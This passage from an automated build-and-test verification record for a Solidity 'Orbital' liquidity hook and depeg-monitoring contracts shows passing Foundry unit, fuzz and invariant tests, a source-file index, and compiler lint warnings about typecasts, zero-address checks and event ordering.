testFuzz_noTradeIsPricedFarBelowItsStartingMarginalPrice(uint256) (runs: 128, μ: 20177604, ~: 20001317)\n[PASS] test_poleRefusalIsStatelessAndSplittingDoesNotEvadeIt() (gas: 7143778)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.41s (1.34s CPU time)\n\nRan 2 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployWiresEverything() (gas: 20884209)\n[PASS] test_mineSaltFindsMatchingAddress() (gas: 17949980)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.53s (22.87ms CPU time)\n\nRan 27 tests for test/OrbitalHookEdge.t.sol:OrbitalHookEdgeTest\n[PASS] testFuzz_depositWithdrawCycleNeverProfits(uint256,uint256,uint256) (runs: 300, μ: 2228943, ~: 2361347)\n[PASS] testFuzz_exactOutNeverCheaperThanExactInAcrossTheSameSize(uint256,bool) (runs: 300, μ: 1835446, ~: 1553633)\n[PASS] test_allOrbitalPoolsShareOneSphere() (gas: 4378732)\n[PASS] test_basketTokenWithoutCodeCanNeverBeDeposited() (gas: 92633337)\n[PASS] test_collectFeesEdges() (gas: 1620615)\n[PASS] test_constructorBoundsOnBasketAndLevels() (gas: 4825071)\n[PASS] test_depositIntoPinnedTickThenUnpinAndExit() (gas: 4739153)\n[PASS] test_depositWhileAllPinnedOnlyIntoThePinnedTick() (gas: 3489437)\n[PASS] test_eightTokenBasketWorksEndToEnd() (gas: 12109559)\n[PASS] test_emptyTickDepositedPastItsPlaneOpensPinned() (gas: 13467050)\n[PASS] test_exactOutCrossesTickAndMatchesQuote() (gas: 2581257)\n[PASS] test_feeOnTransferBasketTokenCannotDeposit() (gas: 8725148)\n[PASS] test_feesAreSplitByRadiusAcrossLps() (gas: 1745060)\n[PASS] test_formerOwnerLosesEverything() (gas: 170513)\n[PASS] test_hugeSwapsRevertInsteadOfOverflowing() (gas: 1673575)\n[PASS] test_intruderCannotDriveTheHooksSettlement() (gas: 1349064)\n[PASS] test_maxFeeSwapChargesOnePercent() (gas: 1836648)\n[PASS] test_oneWeiSwapsNeverPayOutMoreThanPar() (gas: 2444737)\n[PASS] test_pauseBlocksOrbitalPoolInitialisationToo() (gas: 8360341)\n[PASS] test_pauseIsIdempotentAndOnlyEmitsOnChange() (gas: 198343)\n[PASS] test_pinnedLpCanAlwaysLeaveEvenWhenNoInteriorRemains() (gas: 2416921)\n[PASS] test_quoteRejectsBadTokens() (gas: 1371423)\n[PASS] test_quotesRefuseBeforeAnyLiquidity() (gas: 261410)\n[PASS] test_rotatedGuardianLosesPausePower() (gas: 232794)\n[PASS] test_transferFromReturningFalseIsAFailure() (gas: 8953218)\n[PASS] test_withdrawWithoutPositionIsRefused() (gas: 863941)\n[PASS] test_zeroFeeSwapAccruesNothing() (gas: 1421462)\nSuite result: ok. 27 passed; 0 failed; 0 skipped; finished in 1.53s (825.16ms CPU time)\n\nRan 26 tests for test/ReactiveEdge.t.sol:ReactiveEdgeTest\n[PASS] testFuzz_nonPositivePricesAlwaysTrip(int256,uint256) (runs: 500, μ: 1180170, ~: 1180132)\n[PASS] testFuzz_pegIsAlwaysInBandAndBandIsSymmetric(uint256,int256) (runs: 500, μ: 1133651, ~: 1135027)\n[PASS] testFuzz_retryCadence(uint32,uint8) (runs: 300, μ: 2036406, ~: 1756514)\n[PASS] test_anotherAggregatorIsLatchedAndRoundTrackedOnItsOwn() (gas: 422765)\n[PASS] test_breakerCanOnlyPauseNeverResume() (gas: 439793)\n[PASS] test_callbackAcceptsPlainEther() (gas: 33151)\n[PASS] test_callbackPayloadCarriesFeedPriceAndRound() (gas: 106995)\n[PASS] test_callbackPaymentFailsWhenUnderfunded() (gas: 78218)\n[PASS] test_callbackWithdrawFailures() (gas: 294240)\n[PASS] test_constructorRejectsNonPositivePegAndZeroCallback() (gas: 501148)\n[PASS] test_deliveryWhilePausedIsHarmlessAndStillEmits() (gas: 463047)\n[PASS] test_depegEmitsDepegDetectedBeforeCallback() (gas: 75163)\n[PASS] test_failedDeliveryIsNotRetriedWithinTheExcursion() (gas: 2494599)\n[PASS] test_inBandEmitsPriceInBandAndNoCallback() (gas: 46077)\n[PASS] test_networkCopySubscribesToTheFeedInItsConstructor() (gas: 1552239)\n[PASS] test_networkCopySubscriptionManagementIsOwnerOnly() (gas: 1722565)\n[PASS] test_ownerOfTheCallbackCannotTriggerItDirectly() (gas: 45119)\n[PASS] test_proxyRotationIsImmutable() (gas: 1154625)\n[PASS] test_reactVmCopyNeverTalksToTheSystemContract() (gas: 8230)\n[PASS] test_reactivePaymentFailsWhenUnderfunded() (gas: 200238)\n[PASS] test_retryCountersArePerAggregator() (gas: 1537205)\n[PASS] test_retryEveryRoundRequestsACallbackOnEveryOutOfBandRound() (gas: 1758260)\n[PASS] test_retryRePausesAfterOwnerResumeUnlessTheBreakerIsSilenced() (gas: 2169798)\n[PASS] test_rvmIdRotationRejectsTheOldId() (gas: 239363)\n[PASS] test_widestBandStillTripsOnCollapse() (gas: 1128145)\n[PASS] test_zeroBandTripsOnAnyDeviation() (gas: 1116472)\nSuite result: ok. 26 passed; 0 failed; 0 skipped; finished in 1.53s (1.21s CPU time)\n\nRan 1 test for test/OrbitalPole.t.sol:OrbitalPoleFuzzTest\n[PASS] testFuzz_noCoinIsCarriedPastItsPole(uint256) (runs: 256, μ: 21051826, ~: 21216603)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.61s (1.60s CPU time)\n\nRan 1 test for test/invariant/OrbitalFrozenCoinInvariant.t.sol:OrbitalFrozenCoinInvariantTest\n[PASS]\nOrbitalFrozenCoinInvariantTest invariants:\n[PASS] invariant_claimsAccountForEveryToken\n[PASS] invariant_hookStaysSolventWhileCoinsFreeze\n[PASS] invariant_radiusAccountingUnderFreezes\n OrbitalFrozenCoinInvariantTest invariants (runs: 64, calls: 2560, reverts: 0)\n\n╭-------------------+-------------+-------+---------+----------╮\n| Contract          | Selector    | Calls | Reverts | Discards |\n+==============================================================+\n| FrozenCoinHandler | collectFees | 428   | 0       | 0        |\n|-------------------+-------------+-------+---------+----------|\n| FrozenCoinHandler | deposit     | 402   | 0       | 0        |\n|-------------------+-------------+-------+---------+----------|\n| FrozenCoinHandler | freeze      | 442   | 0       | 0        |\n|-------------------+-------------+-------+---------+----------|\n| FrozenCoinHandler | redeem      | 424   | 0       | 0        |\n|-------------------+-------------+-------+---------+----------|\n| FrozenCoinHandler | swapExactIn | 452   | 0       | 0        |\n|-------------------+-------------+-------+---------+----------|\n| FrozenCoinHandler | withdraw    | 412   | 0       | 0        |\n╰-------------------+-------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.41s (2.38s CPU time)\n\nRan 1 test for test/invariant/OrbitalHookInvariant.t.sol:OrbitalHookInvariantTest\n[PASS]\nOrbitalHookInvariantTest invariants:\n[PASS] invariant_adminSurfaceUnchanged\n[PASS] invariant_boundaryMaskMatchesPosition\n[PASS] invariant_claimsCoverReservesAndFees\n[PASS] invariant_noCoinPastItsPoleAndPoolStaysTradable\n[PASS] invariant_pointStaysOnTorusAboveFloor\n[PASS] invariant_radiusAccounting\n[PASS] invariant_tokenConservation\n OrbitalHookInvariantTest invariants (runs: 96, calls: 3840, reverts: 0)\n\n╭----------------+--------------+-------+---------+----------╮\n| Contract       | Selector     | Calls | Reverts | Discards |\n+============================================================+\n| OrbitalHandler | collectFees  | 439   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | deposit      | 440   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | roundTrip    | 507   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | setFee       | 509   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | swapExactIn  | 461   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | swapExactOut | 482   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | togglePause  | 525   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | withdraw     | 477   | 0       | 0        |\n╰----------------+--------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.92s (5.91s CPU time)\n\nRan 22 test suites in 5.93s (23.45s CPU time): 151 tests passed, 0 failed, 0 skipped (151 total tests)\n","passed":true},{"durationMs":92,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"OrbitalDepegCallback.depeg(address,address,int256,uint256)\",\"OrbitalDepegCallback.pay(uint256)\",\"OrbitalDepegCallback.receive()\",\"OrbitalDepegCallback.setHook(address)\",\"OrbitalDepegCallback.setRvmId(address)\",\"OrbitalDepegCallback.transferOwnership(address)\",\"OrbitalDepegCallback.withdraw(address,uint256)\",\"OrbitalDepegReactive.pay(uint256)\",\"OrbitalDepegReactive.react((uint256,address,uint256,uint256,uint256,uint256,bytes,uint256,uint256,uint256,uint256,uint256))\",\"OrbitalDepegReactive.receive()\",\"OrbitalDepegReactive.setFeed(address)\",\"OrbitalDepegReactive.subscribe()\",\"OrbitalDepegReactive.unsubscribe()\",\"OrbitalDepegReactive.withdraw(address,uint256)\",\"OrbitalHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"OrbitalHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"OrbitalHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"OrbitalHook.collectFees(uint256)\",\"OrbitalHook.deposit(uint256,uint256,uint256[])\",\"OrbitalHook.fallback()\",\"OrbitalHook.guardianPause()\",\"OrbitalHook.pause()\",\"OrbitalHook.redeemClaims(address,uint256,address)\",\"OrbitalHook.setFee(uint24)\",\"OrbitalHook.setGuardian(address)\",\"OrbitalHook.transferOwnership(address)\",\"OrbitalHook.unlockCallback(bytes)\",\"OrbitalHook.unpause()\",\"OrbitalHook.withdraw(uint256,uint256,uint256[])\",\"OrbitalToken.approve(address,uint256)\",\"OrbitalToken.transfer(address,uint256)\",\"OrbitalToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":4,\"README.md\":453,\"foundry.toml\":23,\"remappings.txt\":3,\"script/DeployOrbital.s.sol\":103,\"src/HookFlags.sol\":37,\"src/OrbitalHook.sol\":1087,\"src/OrbitalToken.sol\":63,\"src/base/BaseHook.sol\":81,\"src/libraries/OrbitalMath.sol\":242,\"src/reactive/IReactive.sol\":56,\"src/reactive/OrbitalDepegCallback.sol\":115,\"src/reactive/OrbitalDepegReactive.sol\":207,\"test/Deploy.t.sol\":87,\"test/OrbitalHook.t.sol\":562,\"test/OrbitalHookEdge.t.sol\":777,\"test/OrbitalLiquidity.t.sol\":391,\"test/OrbitalMath.t.sol\":174,\"test/OrbitalPole.t.sol\":271,\"test/OrbitalPoleEdge.t.sol\":256,\"test/OrbitalTicks.t.sol\":235,\"test/OrbitalToken.t.sol\":57,\"test/Reactive.t.sol\":599,\"test/ReactiveEdge.t.sol\":680,\"test/invariant/OrbitalFrozenCoinInvariant.t.sol\":401,\"test/invariant/OrbitalHookInvariant.t.sol\":850,\"test/invariant/OrbitalTokenInvariant.t.sol\":123,\"test/mocks/CorruptibleOrbitalHook.sol\":23,\"test/mocks/HookableERC20.sol\":63,\"test/mocks/MockERC20.sol\":56,\"test/mocks/MockERC20Decimals.sol\":51,\"test/mocks/MockERC20FeeOnTransfer.sol\":57,\"test/mocks/MockERC20ReturnsFalse.sol\":52,\"test/utils/BasketHarness.sol\":208,\"test/utils/OrbitalFixture.sol\":206},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"82e6d438b039428f926fac6e6cfebfc17e6fe8c6fc320a1468d3f0f646579e76","verifiedTreeHash":"216ed2da2b78623163ed18e7c81c7af35c8a830d","verifierVersion":"0.1.0+474349a3"},{"checks":[{"durationMs":10498,"exitCode":0,"name":"build","output":"Compiling 94 files with Solc 0.8.26\nSolc 0.8.26 finished in 9.95s\nCompiler run successful!\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:227:28\n    │\n227 │         if (b < 0) return (false, 0, 0);\n    │                            ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:98:9\n   │\n98 │         owner = newOwner;\n   │         ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:233:69\n    │\n233 │             if (-disc > sumAB * sumAB / int256(WAD) + 1e20) return (false, 0, 0);\n    │                                                                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:239:36\n    │\n239 │         if (chosen < tMin) return (false, 0, 0);\n    │                                    ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:240:17\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                 ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:53:56\n   │\n53 │     constructor(address _callbackProxy, address _hook, address _rvmId) payable {\n   │                                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:79:9\n   │\n79 │         emit DepegPauseTriggered(feed, price, roundId);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:90:23\n   │\n90 │     function setRvmId(address _rvmId) external onlyOwner {\n   │                       ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:20\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/reactive/OrbitalDepegCallback.sol:109:23\n    │\n109 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n    │                       ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:49\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:64\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:138:20\n    │\n138 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:138:45\n    │\n138 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                                             ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:139:32\n    │\n139 │         return a * a + b * b - int256(c.r * c.r);\n    │                                ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:17\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:46\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:62\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                              ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:76\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                                            ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:200:29\n    │\n200 │             if (hi > maxIn) revert InsufficientLiquidity();\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:107:39\n    │\n107 │         int256 tolerance = pegPrice * int256(bandBps) / 10_000;\n    │                                       ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:224:25\n    │\n224 │         int256 cShift = int256(sT) - int256(p.s);\n    │                         ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:224:38\n    │\n224 │         int256 cShift = int256(sT) - int256(p.s);\n    │                                      ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:225:20\n    │\n225 │         int256 a = int256(p.xi);\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:226:20\n    │\n226 │         int256 b = int256(p.xj) + cShift;\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:228:21\n    │\n228 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                     ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:228:34\n    │\n228 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:233:41\n    │\n233 │             if (-disc > sumAB * sumAB / int256(WAD) + 1e20) return (false, 0, 0);\n    │                                         ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:236:23\n    │\n236 │         int256 root = int256(sqrt(uint256(disc)));\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:236:35\n    │\n236 │         int256 root = int256(sqrt(uint256(disc)));\n    │                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:120:24\n    │\n120 │         int256 price = int256(log.topic_1);\n    │                        ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:240:23\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                       ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:240:40\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                                        ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:508:43\n    │\n508 │         if (radius == 0) return (amounts, false);\n    │                                           ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:774:42\n    │\n774 │             return (_equalPoint(radius), false);\n    │                                          ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:787:85\n    │\n787 │         if (boundary) return (_circlePoint(lv[l].kNorm, lv[l].sNorm, s, w, radius), true);\n    │                                                                                     ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:793:79\n    │\n793 │             return (_circlePoint(lv[top].kNorm, lv[top].sNorm, s, w, radius), false);\n    │                                                                               ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:795:60\n    │\n795 │         return (_interiorPoint(c, s, w, radius, incoming), false);\n    │                                                            ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n     ╭▸ src/OrbitalHook.sol:1003:56\n     │\n1003 │             if (int256(lv[l].kNorm) <= aAfter) return (true, l); // ascending in kNorm\n     │                                                        ━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:180:9\n    │\n180 │         emit FeedUpdated(old, newFeed);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:201:23\n    │\n201 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n    │                       ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n    ╭▸ src/OrbitalHook.sol:593:9\n    │\n593 │         owner = newOwner;\n    │         ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:186:9\n    │\n186 │         address _guardian,\n    │         ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: 